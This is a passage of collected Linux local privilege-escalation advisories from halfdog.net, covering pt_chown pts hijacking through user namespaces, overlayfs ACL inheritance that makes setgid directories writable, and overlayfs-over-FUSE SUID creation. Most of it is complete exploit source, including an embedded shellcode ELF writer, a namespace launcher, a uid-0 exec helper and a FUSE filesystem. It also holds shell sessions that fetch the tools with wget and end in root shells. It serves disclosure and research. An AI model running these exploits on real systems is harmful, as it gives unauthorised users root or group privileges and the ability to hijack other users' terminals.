while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
suidWriteNext=suidWriteTestPos;
while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
int result=fork();
if(!result) {
struct rlimit limits;
// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
limits.rlim_max=limits.rlim_cur;
setrlimit(RLIMIT_FSIZE, &limits);
// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
limits.rlim_cur=1<<22;
limits.rlim_max=limits.rlim_cur;
result=setrlimit(RLIMIT_AS, &limits);
dup2(destFd, 1);
dup2(destFd, 2);
argv[3]=suidWriteNext;
execve(argv[2], argv+3, NULL);
fprintf(stderr, "Exec failed\n");
return(1);
}
waitpid(result, NULL, 0);
suidWriteNext=suidWriteTestPos;
// ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
}
fprintf(stderr, "Completed\n");
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2015/PtChownArbitraryPtsAccessViaUserNamespace/
## Introduction
Problem description: With Ubuntu Wily and earlier, /usr/lib/pt_chown was used to change ownership of slave pts devices in /dev/pts to the same uid holding the master file descriptor for the slave. This is done using the pt_chown SUID binary, which invokes the ptsname function on the master-fd, thus again performing a TIOCGPTN ioctl to get the slave pts number. Using the result from the ioctl, the pathname of the slave pts is constructed and chown invoked on it, see login/programs/pt_chown.c:
pty = ptsname (PTY_FILENO);
if (pty == NULL)
...
/* Get the group ID of the special `tty' group. */
p = getgrnam (TTY_GROUP);
gid = p ? p->gr_gid : getgid ();
/* Set the owner to the real user ID, and the group to that special
group ID. */
if (chown (pty, getuid (), gid) < 0)
return FAIL_EACCES;
/* Set the permission mode to readable and writable by the owner,
and writable by the group. */
if ((st.st_mode & ACCESSPERMS) != (S_IRUSR|S_IWUSR|S_IWGRP)
&& chmod (pty, S_IRUSR|S_IWUSR|S_IWGRP) < 0)
return FAIL_EACCES;
return 0;
The logic above is severely flawed, when there can be more than one master/slave pair having the same number and thus same name. But this condition can be easily created by creating an user namespace, mounting devpts with the newinstance option, create master and slave pts pairs until the number overlaps with a target pts outside the namespace on the host, where there is interest to gain ownership and then
## Methods
Exploitation is trivial: At first use any user namespace demo to create the namespace needed, e.g. UserNamespaceExec.c (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c) and work with standard shell commands, e.g. to take over /dev/pts/0:
test# who am I
test pts/1 2015-12-27 12:00
test# ./UserNamespacesExec -- /bin/bash
Setting uid map in /proc/5783/uid_map
Setting gid map in /proc/5783/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
root# mkdir mnt
root# mount -t devpts -o newinstance /dev/pts mnt
root# cd mnt
root# chmod 0666 ptmx
Use a second shell to continue:
test# cd /proc/5783/cwd
test# ls -al
total 4
drwxr-xr-x 2 root root 0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
c--------- 1 test users 5, 2 Dec 27 12:48 ptmx
test# exec 3<>ptmx
test# ls -al
total 4
drwxr-xr-x 2 root root 0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
crw------- 1 test users 136, 0 Dec 27 12:53 0
crw-rw-rw- 1 test users 5, 2 Dec 27 12:48 ptmx
test# ls -al /dev/pts/0
crw--w---- 1 root tty 136, 1 Dec 27 2015 /dev/pts/0
test# /usr/lib/pt_chown
test# ls -al /dev/pts/0
crw--w---- 1 test tty 136, 1 Dec 27 12:50 /dev/pts/0
On systems where the TIOCSTI-ioctl is not prohibited, the tools from TtyPushbackPrivilegeEscalation (http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/) to directly inject code into a shell using the pts device. This is not the case at least on Ubuntu Wily. But as reading and writing to the pts is allowed, the malicious user can not intercept all keystrokes and display faked output from commands never really executed. Thus he could lure the user into a) change his password or attempt to invoke su/sudo or b) simulate a situation, where user's next step is predictable and risky and then stop reading the pts, thus making user to execute a command in completely unexpected way.
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2016/UserNamespaceOverlayfsXattrSetgidPrivilegeEscalation/
## Introduction
### Problem description:
Linux user namespace allows to mount file systems as normal user, including the overlayfs. As many of those features were not designed with namespaces in mind, this increase the attack surface of the Linux kernel interface.
Overlayfs was intended to allow create writeable filesystems when running on readonly medias, e.g. on a live-CD. In such scenario, the lower filesystem contains the read-only data from the medium, the upper filesystem part is mixed with the lower part. This mixture is then presented as an overlayfs at a given mount point. When writing to this overlayfs, the write will only modify the data in upper, which may reside on a tmpfs for that purpose.
Due to inheritance of Posix ACL information (xattrs) when copying up overlayfs files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). On standard Ubuntu system, this allows to gain access to groups staff, mail, libuuid.
## Methods
### Target Selection:
Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:
/usr/local/lib/python3.4 (root.staff)
/var/lib/libuuid (libuuid.libuuid)
/var/local (root.staff)
/var/mail (root.mail)
### Exploitation:
Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit. The following steps include command variants needed for different operating systems. They have to be executed in two processes, one inside the user namespace, the other one outside of it.
### Inside:
test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c
test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
test$ gcc -o UserNamespaceExec UserNamespaceExec.c
test$ gcc -o SuidExec SuidExec.c
test$ ./UserNamespaceExec -- /bin/bash
root# mkdir mnt test work
root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test overlayfs mnt # Ubuntu Trusty
root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test,workdir=work overlayfs mnt # Ubuntu Wily
### Outside:
test$ setfacl -m d:u:test:rwx test # Ubuntu Trusty
test$ setfacl -m d:u::rwx,d:u:test:rwx work/work # Ubuntu Wily
### Inside:
root# chmod 02777 mnt/[targetdir]
root# umount mnt
### Outside:
test$ ./CreateSetgidBinary test/[targetdir]/escalate /bin/mount x nonexistent-arg
test$ test/[targetdir]/escalate ./SuidExec /bin/bash
test$ touch x
test$ ls -al x
-rw-r--r-- 1 test [targetgroup] 0 Jan 16 20:39 x
--- CreateSetgidBinary.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* This tool allows to create a setgid binary in appropriate directory
* to escalate to the group of this directory.
*
* Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
*
* Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
*
* Example:
*
* # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
* # ls -al ./escalate
* # ./escalate /bin/sh
*
* Copyright (c) 2015-2017 halfdog <me (%) halfdog.net>
* License: https://www.gnu.org/licenses/lgpl-3.0.en.html
*
* See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>
int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
char suidExecMinimalElf[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
};
int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
if(destFd<0) {
fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
return(1);
}
char *suidWriteNext=suidExecMinimalElf;
char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
while(suidWriteNext!=suidWriteEnd) {
char *suidWriteTestPos=suidWriteNext;
while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
suidWriteNext=suidWriteTestPos;
while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
int result=fork();
if(!result) {
struct rlimit limits;
// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
limits.rlim_max=limits.rlim_cur;
setrlimit(RLIMIT_FSIZE, &limits);
// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
limits.rlim_cur=1<<22;
limits.rlim_max=limits.rlim_cur;
result=setrlimit(RLIMIT_AS, &limits);
dup2(destFd, 1);
dup2(destFd, 2);
argv[3]=suidWriteNext;
execve(argv[2], argv+3, NULL);
fprintf(stderr, "Exec failed\n");
return(1);
}
waitpid(result, NULL, 0);
suidWriteNext=suidWriteTestPos;
// ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
}
fprintf(stderr, "Completed\n");
return(0);
}
--- EOF ---
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
--- SuidExec.c---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/
## Introduction
Problem description: On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk.
## Methods
Basic exploitation sequence is:
- Mount fuse filesystem exposing one world writable SUID binary
- Create USERNS
- Mount overlayfs on top of fuse
- Open the SUID binary RDWR in overlayfs, thus triggering copy_up
This can be archived, e.g.
SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)
test# mkdir fuse
test# mv SuidExec RealFile
test# ./FuseMinimal fuse
test# ./UserNamespaceExec -- /bin/bash
root# mkdir mnt upper work
root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt
root# touch mnt/file
touch: setting times of ‘mnt/file’: Permission denied
root# umount mnt
root# exit
test# fusermount -u fuse
test# ls -al upper/file
-rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file
test# upper/file /bin/bash
root# id
uid=0(root) gid=100(users) groups=100(users)
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* Minimal userspace file system demo, compile using
* gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
*
* See also /usr/include/fuse/fuse.h
*/
#define FUSE_USE_VERSION 28
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static FILE *logFile;
static char *fileNameNormal="/file";
static char *fileNameCharDev="/chardev";
static char *fileNameNormalSubFile="/dir/file";
static char *realFileName="./RealFile";
static int realFileHandle=-1;
static int io_getattr(const char *path, struct stat *stbuf) {
fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
path, stbuf);
fflush(logFile);
int res=-ENOENT;
memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode=S_IFDIR|0755;
stbuf->st_nlink=2;
res=0;
} else if(strcmp(path, fileNameCharDev)==0) {
// stbuf->st_dev=makedev(5, 2);
stbuf->st_mode=S_IFCHR|0777;
stbuf->st_rdev=makedev(5, 2);
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=100;
res=0;
} else if(strcmp(path, "/dir")==0) {
stbuf->st_mode=S_IFDIR|S_ISGID|0777;
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=1<<12;
res=0;
} else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
if(realFileName) {
if(fstat(realFileHandle, stbuf)) {
fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
realFileName, errno, strerror(errno));
} else {
// Just change uid/suid, which is far more interesting during testing
stbuf->st_mode|=S_ISUID;
stbuf->st_uid=0;
stbuf->st_gid=0;
}
} else {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
}
stbuf->st_nlink=1; // Number of hard links
res=0;
}
return(res);
}
static int io_readlink(const char *path, char *buffer, size_t length) {
fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
path, buffer, (long)length);
fflush(logFile);
return(-1);
}
static int io_unlink(const char *path) {
fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
fflush(logFile);
return(0);
}
static int io_rename(const char *oldPath, const char *newPath) {
fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
oldPath, newPath);
fflush(logFile);
return(0);
}
static int io_chmod(const char *path, mode_t mode) {
fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
fflush(logFile);
return(0);
}
static int io_chown(const char *path, uid_t uid, gid_t gid) {
fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
fflush(logFile);
return(0);
}
/** Open a file. This function checks access permissions and may
* associate a file info structure for future access.
* @returns 0 when open OK
*/
static int io_open(const char *path, struct fuse_file_info *fi) {
fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
fflush(logFile);
return(0);
}
static int io_read(const char *path, char *buffer, size_t length,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
path, buffer, (long)length, (long)offset, fi);
fflush(logFile);
if(length<0) return(-1);
if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
if(!realFileName) {
if((offset<0)||(offset>4)) return(-1);
if(offset+length>4) length=4-offset;
if(length>0) memcpy(buffer, "xxxx", length);
return(length);
}
if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
fprintf(stderr, "read: seek on %s failed\n", path);
return(-1);
}
return(read(realFileHandle, buffer, length));
}
return(-1);
}
static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
path, buf, filler, ((long)offset), fi);
fflush(logFile);
(void) offset;
(void) fi;
if(!strcmp(path, "/")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, fileNameCharDev+1, NULL, 0);
filler(buf, "dir", NULL, 0);
filler(buf, fileNameNormal+1, NULL, 0);
return(0);
} else if(!strcmp(path, "/dir")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, "file", NULL, 0);
return(0);
}
return -ENOENT;
}
static int io_access(const char *path, int mode) {
fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
path, mode);
fflush(logFile);
return(0);
}
static int io_ioctl(const char *path, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data) {
fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
path, cmd, arg, fi, flags, data);
fflush(logFile);
return(0);
}
static struct fuse_operations hello_oper = {
.getattr = io_getattr,
.readlink = io_readlink,
// .getdir = deprecated
// .mknod
// .mkdir
.unlink = io_unlink,
// .rmdir
// .symlink
.rename = io_rename,
// .link
.chmod = io_chmod,
.chown = io_chown,
// .truncate
// .utime
.open = io_open,
.read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
